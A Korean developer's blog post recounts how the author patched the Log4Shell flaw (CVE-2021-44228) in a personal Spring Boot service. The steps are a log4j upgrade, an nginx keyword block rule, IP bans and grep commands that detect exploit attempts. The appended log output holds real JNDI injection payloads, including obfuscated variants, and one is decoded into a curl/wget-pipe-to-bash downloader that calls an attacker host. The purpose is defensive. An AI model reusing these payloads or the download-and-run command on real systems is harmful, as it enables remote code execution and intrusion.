0%

Spring boot log4j 취약점 처리 후기 (CVE-2021-44228)

요새 시끄러운 log4j2 공격…

요새 Log4J2 취약점 때문에 난리다.
사실 이 이슈가 알려진건 좀 되었다. (물론 일주일 전에 오픈된거로 알고 있긴 하지만…)
보안쪽은 이런 큰 문제가 터지면 바로 대응해야 한다.
조금만 늦게 대응하는 순간 비트코인 마냥 추락하는 거대한 손실을 껴안을 수 있다.
개발쪽은 역시 부지런해야 살아남는듯….

사설이 길었다.
이번 이슈에 대해서는 많은 사람이 적었기에 따로 언급은 안하겠다.
정 궁금하신 분은 이곳 KISA 에서 확인해보기 바란다.

나는 현재 개인적으로 돌리는 서비스가 있는데 Spring boot 기반으로 되어 있다.
저 이슈보자마자 바로 문제가 생기겠구나 싶어서 확인했다.
처리는 금방 했는데 블로그에는 좀 늦게 올리게 되었다.


어떻게 공격이 들어오는가?

일단 불법적으로 들어오는 것들을 조사하는 로그 서버에서 이런 결과가 들어있었다.

동작 방식은 사실 대충 알고, 자세하게 동작하는 방식은 popit 게시글을 참고하자.
(여담인데 난 원리까진 모르고 어떻게만 공격해서 들어오는지 까지만 알기에… 공격 기법이나 원리에 대한 설명은 무지해서 적을 수 없다….)

내가 이해한 바로는 log.info 나 log.warn() 등을 통해 로깅을 할 때 메세지에 다음과 같이 적을 때 발생한다.

log.error(“Req Access UA : “ + req.getHeader(“X-Api-Version”) );

위는 예시이다.
저런식으로 로그를 남기게 해서 공격자의 코드를 수행할 수 있게 한다는거 같다

jandi:ldap://공격자-ip/http443path

위 사진을 보면 알겠지만 저렇게 ldap 뒤에 공격자의 주소를 넣어서 처리하는 식으로 들어온다.


그래서 어떻게 처리했는가?

뭐 별거 없다.
그냥 log4j 버전업을 했다.
사진을 못찍었는데 나의 경우 spring boot starter 의 logging 이었나 이게 2.11 버전을 쓰고 있었다.

그래서 그냥 버전을 올렸다.
Gradle 을 사용하는데 아래와 같이 한줄 넣어줬다.

1
2
3
4
5
6
7
...
ext['log4j2.version'] = '2.15.0'

dependencies {
....
}
....

위와 같이 한줄 넣고 gradle을 새로 받아오니 log4j의 버전이 2.15로 되었다.
이렇게 대응이 완료되었다…. ㅡ,.ㅡ;;

그리고…이건 공격 대응이 될지 모르겠지만…
nginx 앞단에서 특정 키워드로 접근하는 것을 막는 부분에 다음과 같이 추가해줬다.

1
2
3
...
~*(j_spring_security_check|wps|cgi|asmx|jndi|dns|securityscan|ldap) 1;
...

이렇게 하면 서비스 접근 전에 nginx에서 컷 시킬수 있지 않을까 싶다. (안될수도?)
근데 이렇게 하니 로그 서버에 저런 비 정상적인 접근은 더 이상 들어오지 않았다.

단지 위와 같이 무지성으로 대입해서 들어오는 것들이 많을 뿐…

그리고 하단의 참고 항목을 보면 Cisco talos 차단 권고 항목에 ip가 있다.
여기에 등록된 ip 전부 밴 처리 해뒀다.


정리 및 참고 그리고 부록…

정리

근데 개인적인 생각인데 User Agent 를 로깅 안하면 영향은 없지 않을까? (개인적 무지성 판단….)
얼른 대응해서 큰 피해 안나게 조심하자…


참고

래브라도 취약점 점검 도구-한글
LG CNS의 차단 대응 및 안내 -한글
Spring 공식 레퍼런스 대응 -영문
Log4J 악용탐지-영문
Cisco talos 차단 권고-영문


부록 - 악용탐지

위의 참고 중에 악용 탐지 gist 항목을 보면…
/var/log 폴더 및 모든 하위 폴더의 압축되지 않은 파일에서 악용 시도 에 대한 검색을 할 수 있는 grep 명령어를 제공한다.

한번 돌려봤다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
fuck-hack@ip-999-444-999-444:~$ sudo egrep -I -i -r '\$(\{|%7B)jndi:(ldap[s]?|rmi|dns|nis|iiop|corba|nds|http):/[^\n]+' /var/log
/var/log/nginx/access.log.1:51.89.237.81 - - [13/Dec/2021:04:28:09 +0900] "GET /$%7Bjndi:ldap://79.172.214.11:1389/Basic/Command/Base64/Y3VybCAxMzUuMTI1LjIxNy44Ny9qbmRpLnNoIHwgYmFzaA==%7D HTTP/1.0" 404 162 "-" "mozila"
/var/log/nginx/access.log.1:45.83.67.182 - - [13/Dec/2021:12:37:28 +0900] "GET /$%7Bjndi:dns://45.83.64.1/securityscan-http80%7D HTTP/1.1" 404 134 "${jndi:dns://45.83.64.1/securityscan-http80}" "${jndi:dns://45.83.64.1/securityscan-http80}"
/var/log/nginx/access.log.1:45.83.66.117 - - [13/Dec/2021:12:51:02 +0900] "GET /$%7Bjndi:dns://45.83.64.1/securityscan-https443%7D HTTP/1.1" 302 0 "${jndi:dns://45.83.64.1/securityscan-https443}" "${jndi:dns://45.83.64.1/securityscan-https443}"
/var/log/nginx/access.log.1:45.83.66.117 - - [13/Dec/2021:12:51:02 +0900] "GET / HTTP/1.1" 200 7587 "${jndi:dns://45.83.64.1/securityscan-https443}" "${jndi:dns://45.83.64.1/securityscan-https443}"
/var/log/nginx/access.log.1:195.54.160.149 - - [13/Dec/2021:13:45:17 +0900] "GET /?x=${jndi:ldap://195.54.160.149:12344/Basic/Command/Base64/KGN1cmwgLXMgMTk1LjU0LjE2MC4xNDk6NTg3NC8zLjM2LjE1OS4yMDQ6ODB8fHdnZXQgLXEgLU8tIDE5NS41NC4xNjAuMTQ5OjU4NzQvMy4zNi4xNTkuMjA0OjgwKXxiYXNo} HTTP/1.1" 200 396 "${jndi:${lower:l}${lower:d}${lower:a}${lower:p}://195.54.160.149:12344/Basic/Command/Base64/KGN1cmwgLXMgMTk1LjU0LjE2MC4xNDk6NTg3NC8zLjM2LjE1OS4yMDQ6ODB8fHdnZXQgLXEgLU8tIDE5NS41NC4xNjAuMTQ5OjU4NzQvMy4zNi4xNTkuMjA0OjgwKXxiYXNo}" "${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://195.54.160.149:12344/Basic/Command/Base64/KGN1cmwgLXMgMTk1LjU0LjE2MC4xNDk6NTg3NC8zLjM2LjE1OS4yMDQ6ODB8fHdnZXQgLXEgLU8tIDE5NS41NC4xNjAuMTQ5OjU4NzQvMy4zNi4xNTkuMjA0OjgwKXxiYXNo}"
/var/log/nginx/access.log.1:167.172.44.255 - - [13/Dec/2021:20:45:05 +0900] "GET / HTTP/1.0" 200 612 "-" "borchuk/3.1 ${jndi:ldap://167.172.44.255:389/LegitimateJavaClass}"

=====

fuck-hack@ip-999-444-999-444:~$ sudo find /var/log -name \*.gz -print0 | xargs -0 zgrep -E -i '\$(\{|%7B)jndi:(ldap[s]?|rmi|dns|nis|iiop|corba|nds|http):/[^\n]+'
/var/log/nginx/access.log.3.gz:45.155.205.233 - - [11/Dec/2021:03:21:49 +0900] "GET / HTTP/1.1" 200 396 "-" "${jndi:ldap://45.155.205.233:12344/Basic/Command/Base64/KGN1cmwgLXMgNDUuMTU1LjIwNS4yMzM6NTg3NC8zLjM2LjE1OS4yMDQ6ODB8fHdnZXQgLXEgLU8tIDQ1LjE1NS4yMDUuMjMzOjU4NzQvMy4zNi4xNTkuMjA0OjgwKXxiYXNo}"
/var/log/nginx/access.log.3.gz:1.116.59.211 - - [11/Dec/2021:19:13:15 +0900] "GET /${jndi:ldap://45.130.229.168:1389/Exploit} HTTP/1.1" 404 162 "-" "curl/7.58.0"
/var/log/nginx/access.log.3.gz:195.251.41.139 - - [11/Dec/2021:21:13:15 +0900] "GET / HTTP/1.1" 200 396 "-" "/${jndi:ldap://45.130.229.168:1389/Exploit}"
/var/log/nginx/access.log.2.gz:138.197.9.239 - - [12/Dec/2021:02:26:12 +0900] "GET / HTTP/1.1" 200 7417 "-" "${jndi:ldap://http443useragent.kryptoslogic-cve-2021-44228.com/http443useragent}"
/var/log/nginx/access.log.2.gz:138.197.9.239 - - [12/Dec/2021:04:03:54 +0900] "GET /$%7Bjndi:ldap://http443path.kryptoslogic-cve-2021-44228.com/http443path%7D HTTP/1.1" 302 0 "-" "Kryptos Logic Telltale"
/var/log/nginx/access.log.2.gz:138.197.9.239 - - [12/Dec/2021:04:03:54 +0900] "GET / HTTP/1.1" 200 7418 "https://3.36.159.204/$%7Bjndi:ldap://http443path.kryptoslogic-cve-2021-44228.com/http443path%7D" "Kryptos Logic Telltale"
/var/log/nginx/access.log.2.gz:138.197.9.239 - - [12/Dec/2021:08:26:47 +0900] "GET / HTTP/1.1" 200 396 "-" "${jndi:ldap://http80useragent.kryptoslogic-cve-2021-44228.com/http80useragent}"
/var/log/nginx/access.log.2.gz:138.197.9.239 - - [12/Dec/2021:09:42:21 +0900] "GET /$%7Bjndi:ldap://http80path.kryptoslogic-cve-2021-44228.com/http80path%7D HTTP/1.1" 404 134 "-" "Kryptos Logic Telltale"
/var/log/nginx/access.log.2.gz:45.155.204.20 - - [12/Dec/2021:10:01:33 +0900] "GET /?x=${jndi:ldap://${hostName}.c6qjl3i5aulm7bb8ice0cg4wu5eyyek46.interactsh.com/a} HTTP/1.1" 400 800 "${jndi:${lower:l}${lower:d}${lower:a}${lower:p}://${hostName}.c6qjl3i5aulm7bb8ice0cg4wu5eyyek46.interactsh.com}" "${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://${hostName}.c6qjl3i5aulm7bb8ice0cg4wu5eyyek46.interactsh.com}"
/var/log/nginx/access.log.4.gz:114.254.20.186 - - [10/Dec/2021:02:36:55 +0900] "POST /?&token=$%7Bjndi:rmi://iswqeua.q.i.yunzhanghu.co:443/abc%7D&sign=$%7Bjndi:rmi://iswqeua.q.i.yunzhanghu.co:443/abc%7D&username=$%7Bjndi:rmi://iswqeua.q.i.yunzhanghu.co:443/abc%7D&password=$%7Bjndi:rmi://iswqeua.q.i.yunzhanghu.co:443/abc%7D&error=$%7Bjndi:rmi://iswqeua.q.i.yunzhanghu.co:443/abc%7D&apikey=$%7Bjndi:rmi://iswqeua.q.i.yunzhanghu.co:443/abc%7D&key=$%7Bjndi:rmi://iswqeua.q.i.yunzhanghu.co:443/abc%7D HTTP/1.1" 405 0 "-" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36"
/var/log/nginx/access.log.4.gz:114.254.20.186 - - [10/Dec/2021:04:17:12 +0900] "POST /api?&token=$%7Bjndi:rmi://joavsim.r.i.yunzhanghu.co:443/abc%7D&sign=$%7Bjndi:rmi://joavsim.r.i.yunzhanghu.co:443/abc%7D&username=$%7Bjndi:rmi://joavsim.r.i.yunzhanghu.co:443/abc%7D&password=$%7Bjndi:rmi://joavsim.r.i.yunzhanghu.co:443/abc%7D&error=$%7Bjndi:rmi://joavsim.r.i.yunzhanghu.co:443/abc%7D&apikey=$%7Bjndi:rmi://joavsim.r.i.yunzhanghu.co:443/abc%7D&key=$%7Bjndi:rmi://joavsim.r.i.yunzhanghu.co:443/abc%7D HTTP/1.1" 302 0 "-" "${jndi:rmi://joavsim.r.i.yunzhanghu.co:443/abc}"
/var/log/nginx/access.log.4.gz:114.254.20.186 - - [10/Dec/2021:04:17:12 +0900] "GET / HTTP/1.1" 200 7637 "-" "${jndi:rmi://joavsim.r.i.yunzhanghu.co:443/abc}"
/var/log/nginx/access.log.4.gz:114.254.20.186 - - [10/Dec/2021:04:17:12 +0900] "GET /api?&token=$%7Bjndi:rmi://joavsim.r.i.yunzhanghu.co:443/abc%7D&sign=$%7Bjndi:rmi://joavsim.r.i.yunzhanghu.co:443/abc%7D&username=$%7Bjndi:rmi://joavsim.r.i.yunzhanghu.co:443/abc%7D&password=$%7Bjndi:rmi://joavsim.r.i.yunzhanghu.co:443/abc%7D&error=$%7Bjndi:rmi://joavsim.r.i.yunzhanghu.co:443/abc%7D&apikey=$%7Bjndi:rmi://joavsim.r.i.yunzhanghu.co:443/abc%7D&key=$%7Bjndi:rmi://joavsim.r.i.yunzhanghu.co:443/abc%7D HTTP/1.1" 302 0 "-" "${jndi:rmi://joavsim.r.i.yunzhanghu.co:443/abc}"
/var/log/nginx/access.log.4.gz:114.254.20.186 - - [10/Dec/2021:04:17:13 +0900] "GET / HTTP/1.1" 200 7635 "-" "${jndi:rmi://joavsim.r.i.yunzhanghu.co:443/abc}"
/var/log/nginx/access.log.4.gz:114.254.20.186 - - [10/Dec/2021:04:17:13 +0900] "PUT /api?&token=$%7Bjndi:rmi://joavsim.r.i.yunzhanghu.co:443/abc%7D&sign=$%7Bjndi:rmi://joavsim.r.i.yunzhanghu.co:443/abc%7D&username=$%7Bjndi:rmi://joavsim.r.i.yunzhanghu.co:443/abc%7D&password=$%7Bjndi:rmi://joavsim.r.i.yunzhanghu.co:443/abc%7D&error=$%7Bjndi:rmi://joavsim.r.i.yunzhanghu.co:443/abc%7D&apikey=$%7Bjndi:rmi://joavsim.r.i.yunzhanghu.co:443/abc%7D&key=$%7Bjndi:rmi://joavsim.r.i.yunzhanghu.co:443/abc%7D HTTP/1.1" 302 0 "-" "${jndi:rmi://joavsim.r.i.yunzhanghu.co:443/abc}"
/var/log/nginx/access.log.4.gz:114.254.20.186 - - [10/Dec/2021:04:17:13 +0900] "GET / HTTP/1.1" 200 7635 "-" "${jndi:rmi://joavsim.r.i.yunzhanghu.co:443/abc}"
/var/log/nginx/access.log.4.gz:45.155.205.233 - - [10/Dec/2021:22:31:20 +0900] "GET / HTTP/1.1" 200 396 "-" "${jndi:ldap://45.155.205.233:12344/Basic/Command/Base64/KGN1cmwgLXMgNDUuMTU1LjIwNS4yMzM6NTg3NC8zLjM2LjE1OS4yMDQ6ODB8fHdnZXQgLXEgLU8tIDQ1LjE1NS4yMDUuMjMzOjU4NzQvMy4zNi4xNTkuMjA0OjgwKXxiYXNo}"
/var/log/nginx/access.log.4.gz:45.155.205.233 - - [10/Dec/2021:23:27:05 +0900] "GET / HTTP/1.1" 200 7669 "-" "${jndi:ldap://45.155.205.233:12344/Basic/Command/Base64/KGN1cmwgLXMgNDUuMTU1LjIwNS4yMzM6NTg3NC8zLjM2LjE1OS4yMDQ6NDQzfHx3Z2V0IC1xIC1PLSA0NS4xNTUuMjA1LjIzMzo1ODc0LzMuMzYuMTU5LjIwNDo0NDMpfGJhc2g=}"

====

fuck-hack@ip-999-444-999-444:~$ sudo find /var/log/ -type f -exec sh -c "cat {} | sed -e 's/\${lower://'g | tr -d '}' | egrep -I -i 'jndi:(ldap[s]?|rmi|dns|nis|iiop|corba|nds|http):'" \;
51.89.237.81 - - [13/Dec/2021:04:28:09 +0900] "GET /$%7Bjndi:ldap://79.172.214.11:1389/Basic/Command/Base64/Y3VybCAxMzUuMTI1LjIxNy44Ny9qbmRpLnNoIHwgYmFzaA==%7D HTTP/1.0" 404 162 "-" "mozila"
45.83.67.182 - - [13/Dec/2021:12:37:28 +0900] "GET /$%7Bjndi:dns://45.83.64.1/securityscan-http80%7D HTTP/1.1" 404 134 "${jndi:dns://45.83.64.1/securityscan-http80" "${jndi:dns://45.83.64.1/securityscan-http80"
45.83.66.117 - - [13/Dec/2021:12:51:02 +0900] "GET /$%7Bjndi:dns://45.83.64.1/securityscan-https443%7D HTTP/1.1" 302 0 "${jndi:dns://45.83.64.1/securityscan-https443" "${jndi:dns://45.83.64.1/securityscan-https443"
45.83.66.117 - - [13/Dec/2021:12:51:02 +0900] "GET / HTTP/1.1" 200 7587 "${jndi:dns://45.83.64.1/securityscan-https443" "${jndi:dns://45.83.64.1/securityscan-https443"
195.54.160.149 - - [13/Dec/2021:13:45:17 +0900] "GET /?x=${jndi:ldap://195.54.160.149:12344/Basic/Command/Base64/KGN1cmwgLXMgMTk1LjU0LjE2MC4xNDk6NTg3NC8zLjM2LjE1OS4yMDQ6ODB8fHdnZXQgLXEgLU8tIDE5NS41NC4xNjAuMTQ5OjU4NzQvMy4zNi4xNTkuMjA0OjgwKXxiYXNo HTTP/1.1" 200 396 "${jndi:ldap://195.54.160.149:12344/Basic/Command/Base64/KGN1cmwgLXMgMTk1LjU0LjE2MC4xNDk6NTg3NC8zLjM2LjE1OS4yMDQ6ODB8fHdnZXQgLXEgLU8tIDE5NS41NC4xNjAuMTQ5OjU4NzQvMy4zNi4xNTkuMjA0OjgwKXxiYXNo" "${${::-j${::-n${::-d${::-i:${::-l${::-d${::-a${::-p://195.54.160.149:12344/Basic/Command/Base64/KGN1cmwgLXMgMTk1LjU0LjE2MC4xNDk6NTg3NC8zLjM2LjE1OS4yMDQ6ODB8fHdnZXQgLXEgLU8tIDE5NS41NC4xNjAuMTQ5OjU4NzQvMy4zNi4xNTkuMjA0OjgwKXxiYXNo"
167.172.44.255 - - [13/Dec/2021:20:45:05 +0900] "GET / HTTP/1.0" 200 612 "-" "borchuk/3.1 ${jndi:ldap://167.172.44.255:389/LegitimateJavaClas

저기서 base64로 인코딩된 부분을 풀어보니

(curl -s 195.54.160.149:5874/3.36.159.204:80||wget -q -O- 195.54.160.149:5874/3.36.159.204:80)|bash

참고 url 중에 차단 권고에 나온 시도가 많았다.
조기에 발견해서 다행인거 같고…정말 침입시도가 무수했다…
모두 대응 처리를 해뒀다.


부록 - 래브라도

래브라도 에서 log4j 취약점 점검 도구를 제공하고 있다.
그런데 난 사용해도 이상하게 검출이 안되었다;;

사용법은 저기 나와있겠지만…
프로젝트 디렉토리를 난 해당 프로젝트의 root 디렉토리로 잡아보고, jar 파일만 있는 곳에서도 해봤는데 검출 결과가 0이었다.
그 때 2.11 사용했었는데…
아마 user agent를 다른 방식으로 기록해서 그런가…
무튼 정 찝찝하면 한번 돌려보는 것도 좋은 방법일듯…


부록 - IP 처리

LG CNS와 talos 글에 나온 ip를 차단하였다.
난 저 아이피에 class 대역 차단으로 더 막아뒀다.

171.25.193.0/24
185.220.0.0/16

이 두놈이 좀 많았다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
109.237.96.124 1; #log4j attacker
185.100.87.202 1;
213.164.204.146 1;
185.220.101.146 1;
171.25.193.20 1;
178.17.171.102 1;
45.155.205.233 1;
171.25.193.25 1;
171.25.193.77 1;
171.25.193.78 1;
182.220.100.242 1;
185.220.101.39 1;
18.27.197.252 1;
89.234.182.139 1;
104.244.79.6 1;
80.71.158.12 1;
45.137.155.55 1;
89.249.63.3 1;
61.19.25.207 1;
195.251.41.139 1;
131.100.148.7 1;
46.105.95.220 1;
170.210.45.163 1;
5.157.38.50 1;
114.112.161.155 1;
221.228.87.37 1;
191.232.38.25 1;
164.52.53.163 1;
45.130.229.168 1;
133.130.120.176 1;
152.89.239.12 1;
163.172.157.143 1;
205.185.115.217 1; #log4 attacker